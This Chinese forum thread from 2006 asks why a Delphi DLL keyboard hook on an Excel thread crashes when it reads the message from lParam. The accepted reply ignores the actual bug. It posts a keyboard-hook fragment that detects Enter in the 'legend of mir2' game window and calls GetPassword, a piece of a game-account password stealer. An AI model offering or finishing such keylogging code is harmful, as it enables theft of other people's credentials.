为什么截取wm_char消息老报错?
Dll钩子的代码
Var
hookhandle: thandle;
Function CharProc(Code: integer; wParam: longint; lParam: longint): longint; Stdcall;
Begin
If (Code >= 0) And (pmsg(lParam)^.message = WM_CHAR) Then
Begin
showmessage('1');
End;
End;
//挂钩下一个函数
result := CallNextHookEx(hookhandle, Code, wParam, lParam);
End;
Procedure InstallHook(ThreadID: dword); Stdcall;
Begin
hookhandle := SetWindowsHookEx(WH_KEYBOARD, @CharProc, hinstance, ThreadID);
End;
Exports
InstallHook;
Begin
End.
主窗口中相关代码
Var
InstallHook: Procedure(ThreadID: dword); Stdcall;
begin
LibHandle := loadlibrary('ExcelHook.dll');
InstallHook := getprocaddress(LibHandle, 'InstallHook');
InstallHook(getwindowthreadprocessid(findwindowex(findwindowex(OleCtn.Handle, 0, Nil, Nil), 0, 'EXCEL6', Nil), Nil));
end;
这个程序就是将dll钩子安装到excel的一个线程上截取wm_char消息
安装钩子没有问题,但是钩子子程CharProc中老是报错,后来调试发现是
pmsg(lParam)^.message = WM_CHAR
这一句有问题,如果不取pmsg(lParam)^的message属性什么问题都没有,只要一取就会报错
而lParam不是指向消息结构的指针么,怎么会不能取message这个属性,还是有其他问题?如果不取的话我怎么能判断是什么消息啊?
问题点数:100、回复次数:1Top
1 楼aiirii(ari-http://spaces.msn.com/members/aiirii/)回复于 2006-03-08 20:24:59 得分 100
//键盘hook,wParam 键ASCII码
function KeyboardHookPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT;
stdcall; export;
var
WinClass, WinText : string;
begin
if (iCode=HC_ACTION) and
((lParam and $80000000)=0) and //$80000000键盘掩码常量
(wParam=$0D) then begin //$0D回车键
hActiv:=GetActiveWindow;
WinClass:=GetClass(hActiv);
WinText:=GetCaption(hActiv);
if (Uppercase(WinClass)='TFRMMAIN')and(WinText='legend of mir2') then begin
GetPassword;//取密码
end;
end;
http://abingle.3322.org/article_view.asp?id=5Top




